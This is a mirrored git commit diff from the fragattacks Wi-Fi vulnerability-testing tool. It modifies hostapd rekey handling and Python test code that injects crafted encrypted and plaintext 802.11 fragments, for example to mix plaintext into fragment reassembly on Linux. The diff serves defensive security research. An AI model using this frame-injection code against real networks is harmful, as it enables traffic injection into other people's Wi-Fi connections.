mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2025-02-26 13:49:35 -05:00
fragattacks: fix linux_plain, add rekey-early-install and pn-per-qos
This commit is contained in:
parent
a7c1b406e4
commit
b62e788f1a
@ -2362,6 +2362,7 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
|
|||||||
{
|
{
|
||||||
struct sta_info *sta;
|
struct sta_info *sta;
|
||||||
u8 addr[ETH_ALEN];
|
u8 addr[ETH_ALEN];
|
||||||
|
int early_install = os_strstr(cmd, "early-install") != NULL;
|
||||||
|
|
||||||
if (hwaddr_aton(cmd, addr))
|
if (hwaddr_aton(cmd, addr))
|
||||||
return -1;
|
return -1;
|
||||||
@ -2370,8 +2371,9 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
|
|||||||
if (!sta || !sta->wpa_sm)
|
if (!sta || !sta->wpa_sm)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
||||||
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR, MAC2STR(sta->addr));
|
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR " early_install=%d",
|
||||||
return wpa_auth_rekey_ptk(sta->wpa_sm);
|
MAC2STR(sta->addr), early_install);
|
||||||
|
return wpa_auth_rekey_ptk(sta->wpa_sm, early_install);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -321,15 +321,17 @@ class PingTest(Test):
|
|||||||
self.actions.insert(i, sep_frag)
|
self.actions.insert(i, sep_frag)
|
||||||
|
|
||||||
class LinuxTest(Test):
|
class LinuxTest(Test):
|
||||||
def __init__(self, ptype):
|
def __init__(self, ptype, decoy_tid=None):
|
||||||
super().__init__([
|
super().__init__([
|
||||||
Action(Action.Connected, Action.GetIp), # XXX we don't always want to wait on this?
|
# Note: to inject immediately after 4-way provide IPs using --ip and --peerip
|
||||||
|
Action(Action.Connected, Action.GetIp),
|
||||||
Action(Action.Connected, enc=True),
|
Action(Action.Connected, enc=True),
|
||||||
Action(Action.Connected, enc=True),
|
Action(Action.Connected, enc=True),
|
||||||
Action(Action.Connected, enc=False)
|
Action(Action.Connected, enc=False)
|
||||||
])
|
])
|
||||||
self.ptype = ptype
|
self.ptype = ptype
|
||||||
self.check_fn = None
|
self.check_fn = None
|
||||||
|
self.decoy_tid = decoy_tid
|
||||||
|
|
||||||
def check(self, p):
|
def check(self, p):
|
||||||
if self.check_fn == None:
|
if self.check_fn == None:
|
||||||
@ -345,8 +347,17 @@ class LinuxTest(Test):
|
|||||||
|
|
||||||
# Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet
|
# Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet
|
||||||
# that can't accidently aggregate with the first fragment in a corrrect packet.
|
# that can't accidently aggregate with the first fragment in a corrrect packet.
|
||||||
p = station.get_header()/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment")
|
p = station.get_header(prior=2)/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment")
|
||||||
p.SC = frag2.SC ^ (1 << 4)
|
p.SC = frag2.SC ^ (1 << 4)
|
||||||
|
|
||||||
|
# - In the attack against Linux, the decoy frame must have the same QoS TID.
|
||||||
|
# - On the other hand, some devices seem to only cache fragments for one sequence
|
||||||
|
# number per QoS priority. So to avoid overwriting the first fragment, add this
|
||||||
|
# option to use a different priority for it.
|
||||||
|
p.TID = 2
|
||||||
|
if self.decoy_tid != None:
|
||||||
|
p.TID = 3
|
||||||
|
|
||||||
self.actions[1].frame = p
|
self.actions[1].frame = p
|
||||||
|
|
||||||
# Fragment 3: can now inject last fragment as plaintext
|
# Fragment 3: can now inject last fragment as plaintext
|
||||||
@ -458,7 +469,7 @@ class Station():
|
|||||||
|
|
||||||
# Don't reset PN to have consistency over rekeys and reconnects
|
# Don't reset PN to have consistency over rekeys and reconnects
|
||||||
self.reset_keys()
|
self.reset_keys()
|
||||||
self.pn = 0x100
|
self.pn = [0x100] * 16
|
||||||
|
|
||||||
# Contains either the "to-DS" or "from-DS" flag.
|
# Contains either the "to-DS" or "from-DS" flag.
|
||||||
self.FCfield = Dot11(FCfield=ds_status).FCfield
|
self.FCfield = Dot11(FCfield=ds_status).FCfield
|
||||||
@ -572,8 +583,8 @@ class Station():
|
|||||||
return header
|
return header
|
||||||
|
|
||||||
def encrypt(self, frame, inc_pn=1, force_key=None):
|
def encrypt(self, frame, inc_pn=1, force_key=None):
|
||||||
# TODO: Option to use per-QoS transmit replay counters?
|
idx = dot11_get_priority(frame) if self.options.pn_per_qos else 0
|
||||||
self.pn += inc_pn
|
self.pn[idx] += inc_pn
|
||||||
|
|
||||||
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
|
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
|
||||||
if force_key == 0:
|
if force_key == 0:
|
||||||
@ -581,9 +592,9 @@ class Station():
|
|||||||
key = b"\x00" * len(key)
|
key = b"\x00" * len(key)
|
||||||
|
|
||||||
if len(key) == 16:
|
if len(key) == 16:
|
||||||
encrypted = encrypt_ccmp(frame, key, self.pn, keyid)
|
encrypted = encrypt_ccmp(frame, key, self.pn[idx], keyid)
|
||||||
else:
|
else:
|
||||||
encrypted = encrypt_wep(frame, key, self.pn, keyid)
|
encrypted = encrypt_wep(frame, key, self.pn[idx], keyid)
|
||||||
|
|
||||||
return encrypted
|
return encrypted
|
||||||
|
|
||||||
@ -906,7 +917,11 @@ class Authenticator(Daemon):
|
|||||||
|
|
||||||
def rekey(self, station):
|
def rekey(self, station):
|
||||||
log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green")
|
log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green")
|
||||||
wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.get_peermac())
|
cmd = f"REKEY_PTK {station.get_peermac()}"
|
||||||
|
if self.options.rekey_early_install:
|
||||||
|
log(STATUS, "Will install PTK during rekey after sending Msg4")
|
||||||
|
cmd += " early-install"
|
||||||
|
wpaspy_command(self.wpaspy_ctrl, cmd)
|
||||||
|
|
||||||
def reconnect(self, station):
|
def reconnect(self, station):
|
||||||
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
|
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
|
||||||
@ -1242,10 +1257,12 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
|
|||||||
test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast)
|
test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast)
|
||||||
|
|
||||||
elif test_name == "ping_frag_sep":
|
elif test_name == "ping_frag_sep":
|
||||||
# Check if we can send frames in between fragments. The seperator uses a different QoS TID.
|
# Check if we can send frames in between fragments. The seperator by default uses a different
|
||||||
# The second fragment must use an incremental PN compared to the first fragment. So this
|
# QoS TID. The second fragment must use an incremental PN compared to the first fragment.
|
||||||
# also tests if the receivers uses a per-QoS receive replay counter.
|
# So this also tests if the receivers uses a per-QoS receive replay counter. By overriding
|
||||||
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=1)/LLC()/SNAP()
|
# the TID you can check whether fragments are cached for multiple sequence numbers in one TID.
|
||||||
|
tid = 1 if stractions == None else int(stractions)
|
||||||
|
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=tid)/LLC()/SNAP()
|
||||||
test = PingTest(REQ_ICMP,
|
test = PingTest(REQ_ICMP,
|
||||||
[Action(Action.Connected, action=Action.GetIp),
|
[Action(Action.Connected, action=Action.GetIp),
|
||||||
Action(Action.Connected, enc=True),
|
Action(Action.Connected, enc=True),
|
||||||
@ -1283,7 +1300,8 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
|
|||||||
test = EapolMsduTest(REQ_ICMP, actions)
|
test = EapolMsduTest(REQ_ICMP, actions)
|
||||||
|
|
||||||
elif test_name == "linux_plain":
|
elif test_name == "linux_plain":
|
||||||
test = LinuxTest(REQ_ICMP)
|
decoy_tid = None if stractions == None else int(stractions)
|
||||||
|
test = LinuxTest(REQ_ICMP, decoy_tid)
|
||||||
|
|
||||||
elif test_name == "macos":
|
elif test_name == "macos":
|
||||||
if stractions != None:
|
if stractions != None:
|
||||||
@ -1328,7 +1346,7 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
|
|||||||
# If requested, override the ptype
|
# If requested, override the ptype
|
||||||
if ptype != None:
|
if ptype != None:
|
||||||
if not hasattr(test, "ptype"):
|
if not hasattr(test, "ptype"):
|
||||||
log(WARNING, "Cannot override request type of this test.")
|
log(WARNING, "Cannot override request type of the selected test.")
|
||||||
quit(1)
|
quit(1)
|
||||||
test.ptype = ptype
|
test.ptype = ptype
|
||||||
|
|
||||||
@ -1359,7 +1377,7 @@ def args2msdu(args):
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
|
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!")
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
|
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
|
||||||
parser.add_argument('iface', help="Interface to use for the tests.")
|
parser.add_argument('iface', help="Interface to use for the tests.")
|
||||||
@ -1378,8 +1396,10 @@ if __name__ == "__main__":
|
|||||||
parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.")
|
parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.")
|
||||||
parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.")
|
parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.")
|
||||||
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
|
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
|
||||||
|
parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.")
|
||||||
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
|
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
|
||||||
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address.")
|
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).")
|
||||||
|
parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
ptype = args2ptype(args)
|
ptype = args2ptype(args)
|
||||||
@ -1393,7 +1413,9 @@ if __name__ == "__main__":
|
|||||||
options.peerip = args.peerip
|
options.peerip = args.peerip
|
||||||
options.rekey_request = args.rekey_request
|
options.rekey_request = args.rekey_request
|
||||||
options.rekey_plaintext = args.rekey_plaintext
|
options.rekey_plaintext = args.rekey_plaintext
|
||||||
|
options.rekey_early_install = args.rekey_early_install
|
||||||
options.full_reconnect = args.full_reconnect
|
options.full_reconnect = args.full_reconnect
|
||||||
|
options.pn_per_qos = args.pn_per_qos
|
||||||
|
|
||||||
# Parse remaining options
|
# Parse remaining options
|
||||||
global_log_level -= args.debug
|
global_log_level -= args.debug
|
||||||
|
@ -1 +1 @@
|
|||||||
Subproject commit 004cd93c830d9c4f12a0ffc70de267a6f77d465c
|
Subproject commit 95dc6b7e32b63c1e2efa50f2ba60fca1b025dca7
|
@ -892,6 +892,9 @@ static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth,
|
|||||||
* Error report is not a request for a new key handshake, but since
|
* Error report is not a request for a new key handshake, but since
|
||||||
* Authenticator may do it, let's change the keys now anyway.
|
* Authenticator may do it, let's change the keys now anyway.
|
||||||
*/
|
*/
|
||||||
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
sm->early_install = 0;
|
||||||
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
wpa_request_new_ptk(sm);
|
wpa_request_new_ptk(sm);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -1339,6 +1342,9 @@ continue_processing:
|
|||||||
wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO,
|
wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO,
|
||||||
"received EAPOL-Key Request for new "
|
"received EAPOL-Key Request for new "
|
||||||
"4-Way Handshake");
|
"4-Way Handshake");
|
||||||
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
sm->early_install = 0;
|
||||||
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
wpa_request_new_ptk(sm);
|
wpa_request_new_ptk(sm);
|
||||||
} else if (key_data_length > 0 &&
|
} else if (key_data_length > 0 &&
|
||||||
wpa_parse_kde_ies(key_data, key_data_length,
|
wpa_parse_kde_ies(key_data, key_data_length,
|
||||||
@ -3400,6 +3406,23 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING)
|
|||||||
WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL |
|
WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL |
|
||||||
WPA_KEY_INFO_KEY_TYPE,
|
WPA_KEY_INFO_KEY_TYPE,
|
||||||
_rsc, sm->ANonce, kde, pos - kde, 0, encr);
|
_rsc, sm->ANonce, kde, pos - kde, 0, encr);
|
||||||
|
|
||||||
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
if (sm->early_install)
|
||||||
|
{
|
||||||
|
sm->early_install = 0;
|
||||||
|
enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise);
|
||||||
|
int klen = wpa_cipher_key_len(sm->pairwise);
|
||||||
|
if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0,
|
||||||
|
sm->PTK.tk, klen,
|
||||||
|
KEY_FLAG_PAIRWISE_RX_TX)) {
|
||||||
|
wpa_sta_disconnect(sm->wpa_auth, sm->addr,
|
||||||
|
WLAN_REASON_PREV_AUTH_NOT_VALID);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
|
|
||||||
done:
|
done:
|
||||||
os_free(kde);
|
os_free(kde);
|
||||||
os_free(wpa_ie_buf);
|
os_free(wpa_ie_buf);
|
||||||
@ -5279,9 +5302,12 @@ int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm)
|
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install)
|
||||||
{
|
{
|
||||||
eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm);
|
eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm);
|
||||||
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
sm->early_install = early_install;
|
||||||
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm);
|
return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -499,7 +499,7 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm,
|
|||||||
void (*cb)(void *ctx1, void *ctx2),
|
void (*cb)(void *ctx1, void *ctx2),
|
||||||
void *ctx1, void *ctx2);
|
void *ctx1, void *ctx2);
|
||||||
int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth);
|
int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth);
|
||||||
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm);
|
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install);
|
||||||
void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm);
|
void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm);
|
||||||
|
|
||||||
#endif /* WPA_AUTH_H */
|
#endif /* WPA_AUTH_H */
|
||||||
|
@ -160,6 +160,7 @@ struct wpa_state_machine {
|
|||||||
#endif /* CONFIG_DPP2 */
|
#endif /* CONFIG_DPP2 */
|
||||||
|
|
||||||
#ifdef CONFIG_TESTING_OPTIONS
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
int early_install;
|
||||||
void (*eapol_status_cb)(void *ctx1, void *ctx2);
|
void (*eapol_status_cb)(void *ctx1, void *ctx2);
|
||||||
void *eapol_status_cb_ctx1;
|
void *eapol_status_cb_ctx1;
|
||||||
void *eapol_status_cb_ctx2;
|
void *eapol_status_cb_ctx2;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user